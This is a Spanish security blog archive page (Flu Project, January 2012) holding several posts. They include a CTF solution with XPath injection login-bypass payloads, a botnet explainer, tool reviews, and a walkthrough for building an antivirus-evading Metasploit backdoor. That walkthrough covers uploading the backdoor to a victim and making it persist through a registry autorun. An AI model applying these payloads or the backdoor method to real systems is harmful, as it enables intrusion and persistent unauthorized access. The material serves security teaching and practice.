
VISITS
ARCHIVE
-
►
2023
(27)
- ► septiembre (2)
-
►
2020
(215)
- ► septiembre (22)
-
►
2019
(123)
- ► septiembre (21)
-
►
2018
(49)
- ► septiembre (6)
-
►
2017
(78)
- ► septiembre (10)
-
►
2016
(154)
- ► septiembre (10)
-
►
2015
(176)
- ► septiembre (28)
-
►
2014
(278)
- ► septiembre (21)
-
►
2013
(359)
- ► septiembre (30)
-
▼
2012
(371)
- ► septiembre (32)
-
▼
enero
(31)
- De fiesta con UniGUI Framework
- Solución al #FPR5: ¡Jackmi Amijo!
- Informe Flu - 56
- ¡El pisapapeles de Flu!
- DEFT Linux, la suite de análisis forense, llega a ...
- Pantalla Pública III
- MBSA: Microsoft Baseline Security Analyzer
- Firewall Windows 7 y Cygwin
- #FPR5: ¡Jackmi Amijo!
- Informe Flu - 55
- Pantalla Pública II
- Megaupload desde el terminal
- Entendiendo el funcionamiento de un script de nmap
- Redes botnet (Parte I)
- Backdoor indetectable generado con Metasploit
- Escáneres de vulnerabilidades Web ¿Cuál es tu pref...
- Informe Flu - 54
- Hacker Rap by zerialkiller
- Estrenamos nueva sección en Flu Project - ¡Pantall...
- Las galletas más dulces de la red
- Herramientas forense para ser un buen CSI. Parte II
- Adobe Collab.getIcon() Buffer Overflow
- Jugando con la Wireless de los hoteles
- Informe Flu - 53
- Un sueño de goma para Flu Project
- Que vienen los reyes... este es nuestro regalo
- Usar Facebook como proxy web
- USB Dumper: me quedo con tu pendrive
- Herramientas forense para ser un buen CSI. Parte I
- ¿Conocéis la historia del logotipo de Flu?
- Informe Flu - 52
-
►
2011
(386)
- ► septiembre (30)
De fiesta con UniGUI Framework

Solución al #FPR5: ¡Jackmi Amijo!
Buenas a todos, acaba de finalizar el reto de Flu Project #FPR5: ¡Jackmi Amijo!, correspondiente al mes de Enero. Este reto era de dificultad media-baja y consistía en una pequeña intrusión en un portal programado en PHP. Contábais de inicio con el código fuente del programa, lo que facilitaba enormemente la labor para los usuarios que se están iniciando en las técnicas de penetración.
El reto se dividía en 2 fases. En la primera había que explotar una vulnerabilidad de Xpath Injection que padecía el formulario de autenticación del portal al interactuar con una base de datos XML donde almacenaba el usuario y contraseña del usuario administrador:
En la segunda fase había que descargar un archivo de tipo .run, que en realidad era un archivo docx con una imagen oculta:
Os dejamos con el solucionario que nos a enviado Danigargu, tercer clasificado del reto.
Mirando un poco el código de login.php vemos que es una autenticaciónbasada en XML, también vemos que las variables enviadas porPOST no están filtradas, por lo que puede haber un XPath Injection.17: $resultado = $xml->xpath("//users/user[username/text()='" . $user . "' and password/text()='" . $pass . "']");Al intentar bypassearlo vemos que la web solo deja introducir hasta10 caracteres en cada campo por lo que tendremos que modificar lapagina o modificar los datos durante el envio con TamperData o cualquier otro programa.Bypass------usuario: abc' or 1=1 or 'a'='bpasswd: (blanco)Tras ello, la web nos redirige a menuPrincipal.php donde nos descargamos un fichero llamado programa.zip. Su contenido es un fichero llamado 'programa.run'. Como no sabemos que tipo de fichero se trata, lo comprobamos con el comando file.dani@debian:~/FPR5$ file programa.runprograma.run: Zip archive data, at least v2.0 to extractViendo que es otro fichero zip, lo descomprimimos:dani@debian:~/FPR5$ unzip programa.runArchive: programa.run creating: docProps/ inflating: docProps/app.xml inflating: docProps/core.xml creating: word/ inflating: word/document.xml inflating: word/fontTable.xml creating: word/media/ extracting: word/media/image1.png inflating: word/media/reto.png inflating: word/settings.xml inflating: word/styles.xml creating: word/theme/ inflating: word/theme/theme1.xml inflating: word/webSettings.xml creating: word/_rels/ inflating: word/_rels/document.xml.rels inflating: [Content_Types].xml creating: _rels/ inflating: _rels/.rels Al parecer es un fichero de Word. Si lo abrimos nos aparece una imagen que no nos dice nada, pero si miramos la carpeta word/media que hemos descomprimido,encontramos otra imagen llamada reto.png la cual nos dice:!Enhorabuena!, has pasado el reto.
El reto era muy sencillo como podéis ver. Algunas inyecciones de ejemplo que podríais haber utilizado para saltar el formulario serían:
' or 1=1 or ''='abc' or 1=1 or 'a'='b' or '1'='1admin' or '1'='1
No hemos dado por buenas las soluciones que nos habéis pasado en las que os saltábais el primer paso del reto, explotar la vulnerabilidad de Xpath Injection (o no nos lo habéis indicado claramente).
A continuación os dejamos con el listado de h4x0rs que han finalizado el reto correctamente:
- @sh4r3m4n [licenciaparahackear.wordpress.com] (4horas y 57 minutos)
- Alverid (7 horas y 15 minutos)
- Danigargu (14 horas y 22 minutos)
- zprian (15 horas y 19 minutos)
- Fuska (19 horas y 4 minutos)
- Jesus Gutierrez (19 horas y 19 minutos)
- --J4z-- (19 horas y 32 minutos)
- Pedro Tunelko (20 horas y 16 minutos)
- Edwin Alberto (1 dia)
- Aneraka (1 dia)
- Palangui (5 dias)
- Oscar @dot_ike (6 dias)
Esperamos que os hayáis divertido con el reto :) Para febrero, si el tiempo lo permite, lanzaremos un reto de mayor complejidad, podéis enviarnos ideas que se os ocurran para este reto por Twitter y correo electrónico.
Saludos!Informe Flu - 56
Holas a todos, os dejamos con el resumen de la semana:
Lunes 23 de Enero
- El lunes iniciamos el quinto reto de flu project, centrado en la temática de la intrusión, ¿lo habéis logrado resolver? :-) #FPR5: ¡Jackmi Amijo!
- El martes Marc, nos habló de los logs en el Firewall de Windows 7 en su artículo: Firewall Windows 7 y Cygwin
Miércoles 25 de Enero
- El miércoles Pablo nos habló de la herramienta MBSA: Microsoft Baseline Security Analyzer, para medir la seguridad de los sistemas Microsoft.
- Tercer artículo de la cadena Pantalla Pública, con algunos "exposed" polémicos, ¿os fiais de los cajeros automáticas? ¡Cuidado! Pantalla Pública III
- Jesusdml regresa con el artículo DEFT Linux, la suite de análisis forense, llega a su versión 7 RC1, una suite esencial para los analistas forenses.
Sábado 28 de Enero
- Ayer os enseñamos ¡El pisapapeles de Flu!, ¿os gusta?
- LINUX....¿cómo lo aprendo?: En este hilo se han estado realizando recomendaciones sobre manuales de Linux, ¿conoces buenos manuales sobre el tema? ¡no dudes en compartirlos!
- Portátiles de 13: MacBook Air, ACER ASPIRE S3-951 o Toshiba Satellite R830-1CF?: En este hilo del foro se están analizando los mejores portátiles de 13'' en calidad/precio/diseño, ¡entra y haz tus valoraciones!
¡El pisapapeles de Flu!
Buenas a todos, en Flu Project nos gusta mucho el arte, no somos coleccionistas de picassos y van goghs (ya nos gustaría, aunque la seguridad no da para tanto...) pero si que nos encanta hacer manualidades y que nos enviéis vuestros inventos, como ya hizo Miriam hace unos meses con su genial Flu-Mochila.
Hoy nos gustaría mostraros este pisapapeles de Flu que hemos hecho con un poco de arcilla, pinturas verde, blanca y amarilla y un rotulador negro. ¿A que mola? :-)
Para la próxima vez tocará preparar alguna plantilla y moldes, porque el diseño fue algo improvisado :P, pero con un poco de paciencia tendremos un chulo pisapapeles de Flu!
Saludos!
DEFT Linux, la suite de análisis forense, llega a su versión 7 RC1
Las gentes de DEFT Linux, autores de la excelente distribución de Linux para análisis forense informático, han publicado la versión RC1 de DEFT Linux 7. Entre otras mejoras, incluye herramientas para el análisis forense de móviles y/o dispositivos con iOS o Android. Además, la inclusión del kernel 3.0.0-12 con soporte para USB 3, acelerará el trabajo con dispositivos que usen la última versión de este interfaz.
Entre otras novedades, según lo que se recoge en la página del anuncio de la RC1, están:
- Basado en Lubuntu 11.10- Distribución instalable- Linux kernel 3.0.0-12, con soporte para USB 3- Libewf 20100226- Afflib 3.6.14- TSK 3.2.3- Autopsy 2.24- Digital Forensic Framework 1.2- PTK Forensic 1.0.5 DEFT edition- Maltego CE- KeepNote 0.7.6- Xplico 0.7.1- Scalpel 2- Hunchbackeed Foremost 0.6- Findwild 1.3- Bulk Extractor 1.1- Emule Forensic 1.0- Guymager 0.6.3-1- Dhash 2- Cyclone wizard acquire tool- SQLite Database Browser 2.0b1- BitPim 1.0.7- Bbwhatsapp database converter- Creepy 0.1.9- Hydra 7.1- Log2timeline 0.60- Wine 1.3.28
Aunque la versión final se espera a finales de este mes (enero), es una buena oportunidad para hacernos con esta copia casi definitiva, que hará las delicias de los que nos gusta ver las tripitas de las cosastrabajamos en el mundo de la seguridad informática.
URL de DEFT Linux: http://www.deftlinux.net/Descarga de DEFT Linux: http://www.deftlinux.net/download/
Saludos,
Pantalla Pública III
Buenas a todos, hoy os traemos tres nuevas pantallas públicas. La primera nos la envía nuestro blogger ZerialKiller, es un vídeo grabado en un cajero automático:
[youtube zwwahvWpPVw nolink]
Asusta... ¿verdad?La segunda pantalla pública del día nos la envía @dot_Ike, en la que se puede ver un menú de inicio de Windows 7 en una pantalla de publicidad de móviles y arriba el teclado virtual:
Finalmente la última Pantalla Pública del día nos la envía @gotomah, en la que se pueda apreciar lo que parece un menú de configuración en un monitor que parece ser que controla alguna cámara en la Renfe de Nuevos Ministerios de Madrid:
Podéis seguir enviándonos nuevas imágenes a info@flu-project.com.Saludos!MBSA: Microsoft Baseline Security Analyzer
MBSA, Microsoft Baseline Security Analyzer, es una herramienta diseñada para los profesionales TI, con un uso realmente sencillo, la cual ayuda a las pequeñas y medianas empresas a calificar o determinar su estado de seguridad basándose en las recomendaciones de Microsoft. Además esta pequeña herramienta ofrece orientación a soluciones específicas cuando se encuentra alguna anomalía en el entorno empresarial.
Con MBSA el usuario puede detectar errores de configuración de seguridad habituales e identificar las actualizaciones que faltan en el sistema informático. Estas acciones se pueden realizar sobre una máquina en local o remoto o sobre un grupo de máquinas. MBSA asegura coherencia con otros productos de administración como pueden ser WSUS, SMS, SCCM o SBS.
MBSA tienes 2 tipos de escaneos, single host y multiple hosts. Single host da al usuario la posibilidad de escanear el propio equipo dónde reside MBSA o un equipo remoto siempre y cuando dispongamos de las credenciales necesarias. En un dominio este tipo de análisis se haría con credenciales de alto privilegio para que MBSA se pudiera ejecutar y realizar un escaneo de todas las máquinas de una empresa o de un subgrupo, esto se realizaría con el modo multiple hosts.
MBSA puede realizar una comprobación en la configuración de seguridad de la máquina basándose en la recomendación de Microsoft para este aspecto. Las siguientes opciones pueden ser chequeadas por la herramienta en busca de una mala configuración:
- Windows Administrative Vulnerabilities. Evalúa las posibles vulnerabilidades que pueden existir al nivel de servicios administrativos de Windows.
- Weak Passwords. Evalúa contraseñas mal formadas o vulnerables a ataques de fuerza bruta o diccionario.
- IIS Administrative Vulnerabilities. Evalúa posibles vulnerabilidades que pueden existir al nivel de servicios administrativos de Internet Information Services (IIS).
- SQL Administrative Vulnerabilities. Evalúa posibles vulnerabilidades que pueden existir en los servicios administrativos de los servicios SQL Server.
- Security Updates. Analiza las versiones de “parches” de seguridad o actualizaciones no instaladas y que solucionan vulnerabilidades en el sistema.
- Configure Computers for Microsoft Updates and Scanning Prerequisities. Activa actualizaciones e instalación de “parches” en los equipos a escaner previo al escaneo definitivo.
Estos reportes finales podrán ser almacenados a modo de histórico y ser consultados cuando el usuario requiera.
Otra opción es utilizar un cliente MBSA de consola, que es agregado en la instalación del MBSA, su nombre es mbsacli.exe. Con esta herramienta de consola realizaremos los mismos tipos de escaneos que con la interfaz gráfico, pero además podremos utilizar otras credenciales para realizar el escaneo sobre un equipo con otras credenciales.
Es altamente recomendable utilizar MBSA en un entorno empresarial de pequeña y mediana empresa. El responsable de realizar este tipo de administración debe ser un usuario con privilegios sobre el resto de máquinas de un dominio.
Firewall Windows 7 y Cygwin
Hola!
Muy buenas a todos/as!
En mis andaduras de configurción del Firewall de Windows 7, me encontraba con el problema de que a veces no sabía si un paquete estaba recibiendo un DROP o un allow. Los firewalls en general conocen 3 estados para la decisión con un paquete:
Allow: El paquete mediante una regla preestablecida deja pasar hacia fuera.
Drop:Se deniega el paso del paquete y no manda respuesta de ello
Reject:Se deniega el paso de ese paquete, manda un ICMP como destino inalcanzable
El log de Firewall de Wndows 7 es bastante sencillo de interpretar, así que mientras hacía mis pruebas y al mas estilo Unix, con Cygwin me hice un sh para ir comprobando los paquetes. Para activar el LOG en Firewall hemos de ir a la utilidad wf.msc con permisos de administrador.
Si obervamos la imagen tenemos que ir al menú de Propiedades de Firewall
Aqui tenemos los 3 perfiles del firewall, cada perfil se establece en un área de red que heos definido cuando nos conectamos a una red. En el caso de dominio normalmente si trabajas en dominio en una empresa, privado en casa, por ejemplo y público en todo aquel sitio que no conozcas ni sea de tu confianza.
Aunque puede que cada pefil debería de estar configurado de una manera especial, creo que es bueno configurar el Firewall lo más restringido posible en todas las áreas, siendo así una medida de mitigación contra posibles ataques del exterior.
En el apartado de inicio de sesión:
Para cada uno de estos dominios, hemos de activar que registre los paquetes descartados y correctos. El log se guarda por defecto en:
/Windows/System32/LogFiles/Firewall/pfirewall.log
Como trabajo mucho con Cygwin, con un simple tail, podríamos ir viendo como se van registrando los paquetes:
#!/bin/bash#Shell que hace un tail de las conexiones del Firewalltail -f /cygdrive/c/Windows/System32/LogFiles/Firewall/pfirewall.log
Una utilidad más por si hay alguien quiere probarlo
#FPR5: ¡Jackmi Amijo!
DESCARGAR RETO 5
Informe Flu - 55
Holas a todos, os dejamos con el resumen de la semana:
Lunes 16 de Enero
- El lunes iniciamos una nueva cadena de artículos sobre escáneres de vulnerabilidades. En esta cadena intentaremos analizar las herramientas más utilizadas en el mercado, y comparar los resultados que ofrecen al auditar el site de pruebas Badstore. Escáneres de vulnerabilidades Web ¿Cuál es tu preferido? Parte I
- El martes Marc, en su artículo Backdoor indetectable generado con Metasploit, hablaba sobre como codificar un ejecutable con shitaka ga nai de Metasploit para reducir la detectabilidad de un backdoor.
Miércoles 18 de Enero
- El miércoles kari_243, habló sobre las redes botnets, aportando numerosos datos sobre algunas botnets y bots que han dado mucho que hablar en los últimos años: Redes botnet (Parte I)
- El jueves se estrenó como blogger, 45p1d4_16n15, ¡bienvenido! Nos habla en su artículo sobre la composición de un script de Nmap, información muy útil: Entendiendo el funcionamiento de un script de nmap
- Jesusdml regresa con el artículo Megaupload desde el terminal, donde nos habla de la herramienta plowshare, una aplicación que seguro encontraréis muy útil.
Sábado 21 de Enero
- Ayer publicamos el segundo post de la nueva sección, Pantalla Pública, con tres nuevos cazados :) (¿sabíais que los cajeros automáticos funcionan con Windows XP?)
Pantalla Pública II
Buenas a todos, hoy os traemos la segunda parte de la sección pantalla pública con tres nuevos "cazados" que nos habéis enviado a info@flu-project.com. ¡Gracias!
Comenzamos con Lorenzo Martínez (@lawwait), de Security by Default, que nos envía otro error de Windows en La Vaguada, como nos comenta en el email que nos envió, ¡este centro comercial es una mina!:
La segunda pantalla pública nos la envía sh4r3m4n (@sh4r3m4n), os dejamos directamente con su correo:
Hola, les envío algunas fotos que le tomé al una pantalla gigante en el shopping Unicenter, que queda en Martínez, Argentina. Esta estaba ubicada en medio del patio de comidas, y estaba formada de 9 pantallas LCD. Su problema era que alguien entró al menú inicio de Windows 7 y se veía desde la pantalla!.
Y por último, la tercera pantalla pública del dia nos la envía nuestro blogger y mejor amigo Jordisk (@jordisk), de un pantallazo azul en el tranvía de Barcelona (¿se rompen mucho estos cacharros no? :) ).
Seguir enviandonos pantallas públicas! Saludos!
Megaupload desde el terminal
Después de un tiempecito sin publicar nada, ya tenía ganas de tener un rato y/o algo interesante que poner por aquí. Para los que tienen por casa alguna máquina un poco desfasada o un NAS con acceso por terminal, la aplicación que he descubierto hoy, quizá les resulte tan útil como a mi.
Se trata de plowshare. Esta pequeña aplicación en bash, hace que podamos operar con ficheros en el conocido website Megaupload (también soporta Rapidshare, 2Shared, 4Shared, ZShare, Badongo, Divshare.com, Depositfiles, Netload.in, Sendspace, Usershare o x7.to entre otros) desde la línea de comandos. Funciona tanto en Linux como en OSX, y su instalación no puede ser mas sencilla.
Simplemente deberemos bajar el script de su web http://code.google.com/p/plowshare/ e instalar previamente un par de dependencias para que pueda funcionar.
Entre sus opciones están:
- Bajar ficheros usando cuentas premium
- Resolución de CAPTCHAs
- Subida de ficheros
- Uso de listados de ficheros a bajar y subir…
- Limitación del ancho de banda
- Soporte para ficheros protegidos por password
- Opciones para el manejo de ficheros (marcarlos como bajados, testear links, etc.)
Su uso es muy sencillo. Para descargar un fichero, simplemente deberemos ejecutar:
$ plowdown http://www.megaupload.com/?d=onf9IUYdd
Si tuviéramos cuenta premium, se la indicaremos en la propia linea de comandos:
$ plowdown -a usuario:contraseña http://www.megaupload.com/?d=onf9IUYdd
En el caso de que queramos bajar varios ficheros, los podremos poner en un fichero de texto separados en líneas, y pasarle este como argumento:
$ plowdown fichero_con_enlaces.txt
Una solución muy completa para poder automatizar nuestras descargas directas desde el propio terminal. Al estar realizado en bash, lo podremos utilizar en la mayoría de sistemas Linux, Unix, OSX o incluso en nuestro NAS.
Saludos,
Entendiendo el funcionamiento de un script de nmap

Redes botnet (Parte I)
A medida que avanza el tiempo y dado que el uso del internet cada vez es mayor, el malware se ha ido expandiendo y mutando, agregándosele funcionalidades adicionales y haciéndolos cada vez más peligrosos. Por tanto, es necesario conocer el funcionamiento y ejecución de este tipo de códigos maliciosos. Para este propósito, hablaré en esta oportunidad de uno de los distintos malware que existen, el bot, software usado para el desarrollo de las redes Botnet. Este programa tienen como función infectar el mayor número máquinas para así tomar control de ellas y realizar negación de servicios distribuidos, envió de spam, entre otra diversidad de acciones que más adelante se describirá.
¿Qué es una Botnet?
Una red botnet es un conjunto de equipos infectados con un programa que contiene un código malicioso denominado bot o también conocido como robots, el cual al entrar en una máquina permitirá que un atacante, o dueño de la botnet, pueda mandar instrucciones al software y tener control del equipo. Las computadoras que pertenecen a este tipo de red pueden encontrarse en cualquier parte del mundo, puesto que la forma de propagación de los bot es buscando en internet cualquier máquina que se encuentre vulnerable o que posea fallos de seguridad para luego entrar en ella y tratar de pasar desapercibido ante la víctima, en espera de que sea requerido por el atacante.
En el instante en el que el bot infecta una máquina, este se comunica con el Centro de Comando y control, también denominado como C&C, y adiciona el equipo a la red botnet, convirtiéndolo así en un zombie o drone y permitiéndole al administrador de la red tener control del equipo remotamente por medio del envío de comandos por un canal de comunicación creado.
Modos de infección
Existen múltiples formas de lograr infectar una maquina, todo dependerá de la imaginación del atacante. Se puede hacer uso de las redes P2P para esparcir este malware de forma más rápida, así como de la ingeniería social, para que la víctima ejecute o instale el bot sin sospechar de ello, de esta manera se le hace creer que necesita instalar alguna aplicación, como por ejemplo un plugin para ver videos, visitando un sitio infectado o descargando algún tipo de programa que posea código malicioso, ya sea enviado a través del correo electrónico como datos adjuntos o descargado de alguna página. También esta infección se puede dar por el uso de crack, logrando que al ejecutarse se libere el bot e infecte el equipo e intente su propagación escaneando la red y aprovechándose de las vulnerabilidades del sistema, para ello, usa exploits que ataquen las debilidades más conocidas del sistema operativo en el que se encuentre.
La mayoría de los bots, han sido desarrollados para auto propagarse, buscando cualquier equipo en internet que presente fallos de seguridad. Realizan un escaneo en la red o usan un rango de direcciones en busca de máquinas vulnerables. También hacen uso de aplicaciones de la víctima como la mensajería instantánea y redes sociales (mediante el envió de supuestas fotografías o archivos), de esta manera logra propagarse a todos los contactos de la víctima.
Formas de controlar una Botnet
Las redes Botnet pueden tener su Centro de Comando y Control de forma centralizada o descentralizada. En la primera, el C&C se encuentra ubicado en un solo servidor con el ancho de banda suficiente para comunicarse con los bots. La mayor debilidad de este tipo de modelo es que si dicho Centro de Comando y Control es encontrado y eliminado se perderá el mando de la red. Dentro de esta categoría se encuentran las Botnet que basan su comunicación por IRC y HTTP.
Las redes que hacen uso de IRC, utilizan este canal para el envió de todas las instrucciones de los ataques que la máquina zombi debe realizar. En la mayoría de los casos, para evitar que la red Bonet sea infiltrada o sea eliminada, cada equipo infectado debe proveer tres tipos de contraseñas para el acceso, las cuales al ser correctas van a permitir que el bot se pueda conectar al servidor IRC, luego al canal de chat en el cual está la red y por último, pueda recibir las instrucciones del herders.
Las Botnet que basan su comunicación en el uso del protocolo HTTP, tienen como ventaja que su detección es más difícil que la de IRC, puesto que se puede confundir con el tráfico normal de Internet, evadiendo en la mayoría de los casos el firewall.
Y la segunda forma de control, la descentralizada, es la que se apoya en las comunicaciones P2P. Es mucho más difícil de detectar y destruir, ya que no dependen de un solo servidor, puesto que cualquier equipo conectado a esta, puede ser tanto un C&C como un cliente.
A medida que pasa el tiempo los atacantes han tratado de encontrar diversas formas de controlar una botnet y expandir su bot más fácilmente, un ejemplo de esto es el uso de las redes sociales y de twitter para poder cumplir con este objetivo. Esto es, por medio de mensajes o tweets, se realiza la comunicación entre el C&C y las máquinas zombie. En los siguientes enlaces se encuentran informes realizados por blogs.eset sobre estos hallazgos: http://blogs.eset-la.com/laboratorio/2010/05/14/botnet-a-traves-twitter/, http://blogs.eset-la.com/laboratorio/2011/12/08/facebook-troyanos-y-botnets/
Finalidades de una Botnet
Este tipo de redes pueden ser realizadas para diferentes tareas, entre las cuales se encuentran las siguientes:
- Envió masivo de email o spam.
- Ataque de negación de servicios distribuidos o DDOS.
- Propagación de virus.
- Instalación de programas espías.
- Instalación de Keylogging.
- Sniffing de tráfico.
- Realizar fraude en los sistemas de pago por clic.
- Phishing.
- Uso para alojamiento de archivos.
- Ofrecer anonimato al herders, puesto que los equipos zombis son los que realizarán el ataque directamente.
- Ganar dinero con el alquiler de la red Botnet.
Modos de protección
- Actualizar el sistema operativo con los parches que ofrece la entidad.
- Mantener el antivirus y un anti spyware actualizado.
- Bloquear la ejecución de código JavaScript en el navegador.
- Bloquear los puertos usados frecuentemente por los troyanos, incluyendo el 6667 que corresponde al IRC, aunque normalmente no se conectan a los puertos por defecto.
- Usar un firewall.
- No visitar sitios web que puedan estar infectados.
- No ejecutar programas de los cuales no se conozca su procedencia.
- No abrir correos de destinatarios desconocidos.
- Navegar con un usuario que no posea todos los privilegios sobre el sistema.
- Revisar el tráfico saliente de nuestro equipo.
- Analizar el sistema con un detector de rootkits
Tipos de bot
La mayoría de los Bots, fueron creados para los mismos fines, el envió de spam, el robo de credenciales de los usuarios, la propagación de sí mismos para ampliar la red Botnet aprovechando las fallas o vulnerabilidades que posean los sistemas operativos, la instalación de keylogger, de sniffer, realización de negación de servicio distribuido, etc. Un bot a grandes rasgos, tiene como objetivo principal su propagación y lograr pasar desapercibido por los usuarios, para ello algunas de las herramientas que usan son los rootkid, que van a permitir esconder al gusano y sus procesos.
A continuación presento algunos de los muchos tipos de bots existentes, cada uno posee numerosas variantes a las cuales les han incluido mejoras para no ser detectados.
- Rxbot, Rbot, RvBot: busca copiarse a sí mismo en los documentos compartidos. Intenta obtener los nombres de los usuarios y las claves del equipo. Se aprovecha de las vulnerabilidades de Windows para acceder a otras máquinas.
- AgoBot o Gaobot: la administración de las redes con este tipo de bot se realiza por medio de comandos de IRC, permite realizar peticiones HTTP, el uso de sniffer, keylogger, rootkits y cliente smtp para el uso de spam.
- ZeuS, Zbot, Zbot, Wsnpoem, Ntos o Prg: se pueden presentar de modo distinto en las máquinas zombie, ocasionando su difícil detección por medio de las firmas.
- Sober: su funcionamiento se basa en el envió de spam. Manda una copia de sí mismo en el mensaje de los correos electrónicos para su propagación. Las nuevas variantes no dependen de este medio para propagarse.
- Spybot: usan el IRC como medio de comunicación, existen aproximadamente 1000 tipos de variantes de este virus.
- Korgo, Sasser, SasserC: usa el IRC como medio de comunicación. Se propaga explotando la vulnerabilidad en lsass.exe de Windows.
- SdBot: busca propagarse atacando direcciones ip aleatorias. Si logra acceder a una maquina descarga el virus a través de FTP.
- Phatbot: se apoya en la comunicación p2p, se usa más que todo para envío de spam y la realización de DDOS. En el equipo infectado desactiva el antivirus y el firewall.
Algunas redes Botnet
- Botnet Mariposa: extraía datos personales y de las tarjetas de crédito.
- Botnet Rustock: fue utilizada para realizar spam.
- Botnet Zeus: usa un troyano llamado Zeus, y se caracteriza por el robo de información, como nombres de usuario, contraseñas, números de cuenta y números de tarjetas de crédito.
- Botnet Koobface: emplea las redes sociales como Facebook o MySpace para distribuirse, haciendo que el usuario presione sobre un enlace que lo envía un supuesto amigo para ver un vídeo y que para mostrarlo pida una actualización, engañando a la víctima y descargando así el bot en la máquina.
- Botnet TidServ: se usa para el envió de Spam, su forma de propagación es enviándose como archivo adjunto dentro de los correos. Usa herramientas rootkit para ocultarse en el sistema.
- Botnet Trojan.Fakeavalert: empleada para distribuir antivirus falsos.
- Botnet TR/Dldr.Agent.JKH: es usada para realizar fraude en los sistemas de pago por clic.
- Botnet Monkif: empleada para secuestrar navegadores mediante la descarga de un BHO malicioso.
- Botnet Hamweq: la distribución de este gusano se realiza principalmente mediante dispositivos USB.
- Botnet Swizzor: permite descargar otra clase de virus en el drone.
- Botnet Gammima: se usa principalmente para robar cuentas en juegos online.
Backdoor indetectable generado con Metasploit
Hola!
Muy buenas a todos/as!
Muchas de las veces en las que se consigue acceso remoto a otro host mediante una vulnerabilidad explotada con Metasploit (por ejemplo) en la que conseguimos una shell con Meterpreter. Es bueno intentar dejar un backdoor por si queremos volver a acceder en un futuro.
La problemática de un backdoor instalado en la parte de la víctima es la detección del antivirus, que aunque no sea la panacea de la seguridad, cumple parte de su función.
Para que el ejecutable que dejaremos no sea detectado por el antivirus codificaremos el ejecutable con shitaka ga nai de Metasploit, tras conseguir acceso remoto en el equipo lo dejaremos en el equipo víctima, además pondremos una clave en el registro para que se inicie en cada inicio del sistema operativo.
Para hacer esta tarea, usaremos un script de SecurityLabs y The Hackers News que se llama Vanish, lo podemos descargar de aquí
Como dependencias para usar el script hemos de instalar las siguientes dependencias
root@bt:~# apt-get install mingw32-runtime mingw-w64 mingw gcc-mingw32 mingw32-binutils
Nos bajamos el script
root@bt:~# wget http://localhostr.com/file/p4SrRVe/vanish.sh
Si queremos consultar el código fuente del script podemos también verlo en Pastebin
Una vez hemos descargado el script, si lo usamos en backtrack como es mi caso, lo hemos de copiar a la carpeta donde se encuentre Metasploit, es decir, /pentest/exploit/framework
Una vez lo hayamos copiado, lo ejecutamos, nos irá haciendo preguntas sobre la targeta de red, un número seed aleatorio y las veces que será encodeado con shitaka ga nai
El ejecutable se creará, nos hará una firma de hash del ejecutable, además de meterlo en una carpeta que se llama seclab
Para comprobar la fiabilidad de nuestro ejecutable lo subiremos a Virus Total, del que obtendremos una buena noticia dado el bajo ratio de detección:
El ratio de detección es muy bajo y eso nos permitirá el poder evadir la mayoría de antivirus
Como ya tenemos sesión con Meterpreter es sencillo el poder subir un archivo al host víctima
Le cambiado el nombre para que el archivo no se llame backdoor.exe
Ahora depende del atacante si quiere dejarlo así y enviar este ejecutable por email o ejecutarlo cada vez que vulnera la máquina o bien, puede añadir una entrada al registro para que se inicie en cada inicio de sistema operativo.
Luego desde la máquina atacante podemos hacer una conexión al host víctima
Podremos tener accesos remotos al equipo víctima tantas veces como deseemos con el backdoor generado.
Saludos cordiales
Escáneres de vulnerabilidades Web ¿Cuál es tu preferido? Parte I
Buenas a todos, en el post de hoy me gustaría iniciar una cadena de artículos para discutir con todos vosotros sobre herramientas automáticas para analizar vulnerabilidades en Sitios Web. Abro el debate y el primer post hablando de una de mis herramientas preferidas para esta labor (tengo varias, pero hablaré de las demás en próximos días), Acunetix.
Probaremos a lo largo de esta cadena todas las herramientas que nos recomendéis contra el sitio Web de pruebas "Badstore" e iremos publicando los resultados en el blog para discutirlos. Además, los iremos añadiendo a nuestro listado de herramientas de auditoría de seguridad, donde ya tenemos varias aplicaciones para auditar sitios Web, para que así las tengáis siempre a mano.
Para que os hagáis una idea rápida de las vulnerabilidades que encontraremos en badstore, o las recordéis si las visteis hace tiempo, os dejo algunos enlaces a antiguos artículos donde hemos hablado de vulnerabilidades en badstore:
Y por si no sabéis donde conseguir Badstore, o qué es, os dejo este otro enlace:Acunetix
Para quienes no conozcan Acunetix, se trata de un escáner de vulnerabilidades que permite analizar la seguridad de las aplicaciones Web de una manera sencilla. Basta con configurar la url/ip/puerto donde se encuentra la aplicación, y seleccionar el perfil de ataque para lanzar un escáner.
Acunetix es capaz de probar vulnerabilidades de tipo Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), SQL Injection, Code Execution, Directory Traversal, HTTP Parameter Pollution, File Inclusion, Script Source Code Disclosure, CRLF Injection, Cross Frame Scripting (XFS), PHP Code Injection, XPath Injection, Path Disclosure (Unix and Windows), LDAP Injection, Cookie Manipulation, Arbitrary File creation, Arbitrary File deletion, Email Injection, File Tampering, URL redirection, Remote XSL inclusion, DOM XSS, MultiRequest Parameter Manipulation : Blind SQL/XPath Injection, Input Validation, Buffer Overflows, Sub-Domain Scanning, permite escanear puertos abiertos, métodos habilitados, fuzzear en busca de archivos no linkados, comprobar listados de directorios, y un largo etc.
Tenéis más información en su página oficial.
La herramienta tiene una pega, y es que es de pago.
A continuación os muestro el resumen del reporte final tras auditar la aplicación Badstore:
Como veis, Acunetix es una herramienta muy potente, ha sacado 117 alertas, de entre las cuales 47 son graves, y algunas recomendaciones que yo incluiría como vulnerabilidades graves, como el encontrarse habilitado el método TRACE.
Si comparamos el reporte con el de la auditoría de SQL Injection que realizó @Jesusprubio en el post BadStore, SQLi y otras chicas del montón, y cuya captura principal os copio a continuación, se ve como Acunetix es capaz de localizar hasta 29 inyecciones de tipo SQL frente a las 6 que identifica la herramienta W3af:
Como veis, Acunetix puede ser un gran aliado durante una auditoría de tipo Web.
Ahora llega el turno de vuestras opiniones,
saludos!
Informe Flu - 54
Holas a todos, os dejamos con el resumen de la semana:
Lunes 9 de Enero
- El lunes tocó el turno de Marc con su artíclo: Jugando con la Wireless de los hoteles, Caín & Abel puede dar mucho juego en estos entornos.
- El martes Zerialkiller nos habló de Metasploit y Adobe, estas dos palabras ya resumen el contenido del artículo ¿verdad :-)? Disfrutadlo: Adobe Collab.getIcon() Buffer Overflow.
Miércoles 11 de Enero
- El miércoles hablamos de otras 3 nuevas herramientas forense en nuestra cadena: Herramientas forense para ser un buen CSI. Parte II
- El jueves Germán nos trajo Las galletas más dulces de la red donde nos hablaba con su humor característico de la web sexyono y algún que otro XSS.
